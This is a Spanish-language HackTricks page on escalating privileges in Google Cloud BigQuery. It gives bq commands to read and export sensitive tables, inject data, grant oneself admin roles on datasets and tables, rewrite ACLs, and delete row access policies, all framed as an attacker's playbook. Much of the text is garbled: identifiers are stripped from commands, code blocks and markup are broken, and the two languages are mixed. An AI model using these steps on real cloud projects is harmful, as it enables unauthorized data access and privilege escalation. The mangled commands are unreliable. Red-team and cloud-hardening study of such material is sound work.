GCP - BigQuery Privesc

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

BigQuery

Para más información sobre BigQuery consulta:

GCP - Bigquery Enum

Leer tabla

Al leer la información almacenada dentro de una tabla de BigQuery, podría ser posible encontrar información sensible. Para acceder a la información se necesitan los permisos bigquery.tables.get, bigquery.jobs.create y bigquery.tables.getData:

Leer datos de una tabla de BigQuery ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Exportar datos

Esta es otra forma de acceder a los datos. Exportarlo a un cloud storage bucket y descargar los archivos con la información.
Para realizar esta acción se necesitan los siguientes permisos: bigquery.tables.export, bigquery.jobs.create y storage.objects.create.

Exportar tabla de BigQuery a Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Insertar datos

Puede ser posible introducir ciertos datos confiables en una tabla de Bigquery para explotar una vulnerabilidad en otro lugar. Esto se puede hacer fácilmente con los permisos bigquery.tables.get , bigquery.tables.updateData and bigquery.jobs.create:

Insertar datos en una tabla de BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

Un atacante podría abusar de este privilegio para **darse permisos adicionales** sobre un dataset de BigQuery:

<details>
<summary>Establecer la política IAM en el dataset de BigQuery</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Solo este permiso permite actualizar tu acceso a un dataset de BigQuery modificando las ACLs que indican quién puede acceder:

Actualizar ACLs del dataset de BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

Un attacker podría abusar de este privilegio para concederse permisos adicionales sobre una tabla de BigQuery:

Set IAM policy on BigQuery table ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Según la documentación, con los permisos mencionados es posible **actualizar una row policy.**\
Sin embargo, **usando el cli `bq`** necesitas algunos permisos más: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Crear o reemplazar row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Es posible encontrar el ID del filtro en la salida de la enumeración de políticas de fila. Ejemplo:

Listar políticas de acceso a filas ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time


apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

Si tienes **`bigquery.rowAccessPolicies.delete`** en lugar de `bigquery.rowAccessPolicies.update` también podrías simplemente eliminar la política:

<details>
<summary>Eliminar políticas de acceso por fila</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Otra opción potencial para eludir las políticas de acceso por fila sería simplemente cambiar el valor de los datos restringidos. Si solo puedes ver cuando term es Cfba, modifica todos los registros de la tabla para que tengan term = "Cfba". Sin embargo, esto está prevenido por bigquery.

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks